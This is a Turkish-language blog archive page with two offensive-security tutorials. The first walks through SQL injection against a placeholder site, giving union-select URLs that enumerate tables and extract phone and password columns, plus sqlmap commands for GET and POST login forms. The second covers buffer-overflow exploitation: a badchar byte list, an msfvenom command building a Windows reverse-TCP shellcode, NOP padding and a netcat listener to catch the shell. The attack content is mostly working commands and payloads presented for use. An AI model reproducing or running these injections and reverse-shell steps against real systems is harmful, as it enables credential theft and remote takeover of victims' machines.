24 Ocak 2020 Cuma

17 Ocak 2020 Cuma

Kör Sql Injection Nedir? (Blind)



Kör Sql Injection Nedir? (Blind)

1=0 1=2 4=3 gibi eşitlik olmayan değerler verildiğinde sitenin verdiği hata ya da sayfadaki değişmelere dayanarak işleme devam eder.
Örnek url www.test.com/test.php?id=1'and 1=2
Bu url 1=2 şeklinde bir eşitlik false olduğundan hata verecek ya da sayfadaki değişimler sonucunda bilği vercek verecektir.

Manuel Yapımı
Kolon Sayısı Tespiti

Kolon Sayısını Bulurken Sayfa Değişkliğini Kullanacağız. And "1=1" Order+By Order+By+1 Sondaki Sayıyı +1 Şeklinde Birer Birer Artırıyoruz Sayfa Değişinceye Kadar.Burada Kolon Sayısını Hangi Sayıda Sayfa Değiştiğinden Anlayacağız.


www.test.com/test.php?id=1+and+1=1+order+by+1


Sorgu Oluşturma

Burada 1=1 Eşitlik Yerine 1=0 Eşitsizliği Kullanacaz.1=0' sonra "union+select+0,1,2,3" Yazıyoruz.2 Numarayı Kullanacağız


www.test.com/test.php?id=1+and+1=0+union+select+0,1,2,3



Tablo Çekimi

Tablo Çekimi İçin 2 Numaralı Kolon Sayısını Kullancaz


www.test.com/test.php?id=1+and+1=1+union+select+0,1,group_concat(table_name),3+from+test_db.tables



Tablo Veri Çekimi

Normal Sql Gibi Bunuda Öyle Yapacağız Ama Tablo Adını Hexleme Yapmamız Gerektir Ben Örnek Olarak Hakan Tablosunu Çekcem Ve Bunun Hex Değerine Bakalım "68616b616e6e" Burdan Rahatca Bakabilirsiniz


www.test.com/test.php?id=1+and+1=1+union+select+0,1,group_concat(column_name),3+from+test_db.columns+where+table_name='68616b616e6e'



Kolon Veri Çekimi

Hakan Tablosundan Tel Ve Şifre Kolonları Çıktı. Tel Ve Şifre Kolonlarının Değerlerini Öğrenelim.Veriler Karışmasın Diye Kolonlar Arasında "0x3a" Kodunu Ekliyoruz.



www.test.com/test.php?id=1+and+1=1+union+select+0,1,concat(Tel,0x3a,Şifre),3+from+hakan


Sqlmap İle İnj





İstek Dosyası İle Sqlmap Kullanarak İnjection İşlemi Yapacaz Kullandığınız Web Scanner Aracından İstek Bilgilerini Alıyorsunuz.


GET http://test.com/test.php?id=1 HTTP/1.1
Host: test.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4

Txt İçine Yazarak 1.txt Olarak Kayıt Yapıp Sqlmap Klasör İçine Atalım sqlmap -r 1.txt --dbs Yazarak İşleme Devam Edebilirsiniz.



POST SQLMAP İNJ


Bir login ya da arama formunda bulunan sql Injection zafiyetlerini tespit ve bunları exploit etmek için --data parametresiyle POST isteği yapcaz.

sqlmap.py -u "http://test.com/test.php?test=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"

POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms) girdik.


Örnek İşe Yarar Videolar






İşe Yarar Web Scanner Araçları


Acunetix
Net Sparker

Nessus
Openvas

1 Ocak 2020 Çarşamba

BADCHARSLAR’IN KONTROLÜ

ESP registerini doldurduğumuzda bozuntuya sebep olacak karakterlerdir. Tespiti için program üzerine tüm karakterleri atıyoruz. Sonra ESP’i kontrol ediyoruz. Eğer fire veren karakter varsa o karaktere badchars diyoruz.
Badcharsları anlamak için ilk önce bütün karakterlerin olduğu bir txt dosyası oluşturuyoruz ve bunu scriptimiz ile hedef sisteme gönderiyoruz.
Buraya örnek bir txt dosyası bırakıyorum:
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”
“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”
“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”
“\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”
“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”
“\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”
“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”
“\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”
“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”
“\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”
“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”
“\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”
“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”
“\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”
“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”
“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”

Bunu scriptimize entegre ederek gönderiyoruz. yani herhangi bir isimde değişken oluşturup + olarak ekliyor ve gönderiyoruz.
Daha sonra debugger’in sol alt kısmını tek tek inceleyerek badcharsları tespit ediyoruz.Örnek verecek olursak şöyle diyebiliriz:
33 numaradan sonra 34 gelmiyorsa veya herhangi bir değişiklik var ise 34 ”Badcharst”dır.

SHELLCODE

Bulduğumuz Badcharst’ı kullanarak bir ShellCode oluşturacağız. Bunun için “msfvenom”u kullanacağız.Terminale
msfvenom -p windows/shell_reverse_tcp LHOST=GİRİYORUZ LPORT=443 -r c(c tipinde olsun diyoruz) -b ‘buraya badcharst’ı tersten ekleyeceğiz'(\x00 şeklinde)
Bu oluşturduğumuz ShellCode’i exploitimize ekleyerek reverse bağlantı alacağız.Bu kısımları ufak editlerle yapabilirsiniz ama ‘\x90’ kodu ile NOP eklemeyi unutmayın.(NO Operation:Koda gelene kadar hiç bir işlem yapma demek istiyoruz.4’ün katları şeklinde eklenir.Genelde 16 Kullanılır)
Daha sonra netcat ile 443.Portu dinlemeye alıyoruz ve exploitimizi çalıştırıyoruz.
Bütün işlemleri doğru yaptıysak Reverse Bağlantımızın açılması gerek.